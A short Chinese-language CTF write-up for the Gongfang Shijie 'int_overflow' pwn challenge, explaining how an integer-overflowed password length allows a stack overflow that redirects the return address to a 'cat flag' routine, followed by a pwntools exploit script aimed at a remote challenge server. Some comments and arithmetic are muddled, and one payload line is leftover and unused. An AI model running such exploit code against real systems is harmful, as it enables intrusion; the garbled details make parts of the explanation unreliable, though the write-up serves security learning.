*pwn*练习5——攻防世界-int_overflow

常规操作就不说了

 进1,进入login函数

输入密码后进入check_passwd函数

从汇编代码中可以看到,想要覆盖到返回地址,先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址,最后接上262剩余的数据即可。

payload一共是256+3-256+8这些字节,先填充14+4进行覆盖,再填充跳转地址,再加上剩余的数据让v3达到绕过溢出的目的

from pwn import *
kubopiy=remote("220.249.52.133",59148)#
elf = ELF("./int_overflow")
payload=b'a'*(0x28+0x04)+p32(0x0804A0A8)#b是字这么多的a,再加一64位打包好的覆盖使之能覆盖seed
kubopiy.recvuntil("Your choice:")#接收到那一句
kubopiy.sendline('1')
kubopiy.recvuntil("Please input your username:")#接收到那一句
kubopiy.sendline(1)
kubopiy.recvuntil("Please input your passwd:")#接收到那一句
payload='A'*(0x14+4)+p32(0x8048691)+'a'*(256+3-0x14-4-4)#-4是因为还有一的指令
kubopiy.sendline(payload)
kubopiy.interactive()
原文地址:https://www.cnblogs.com/kubopiy/p/13673316.html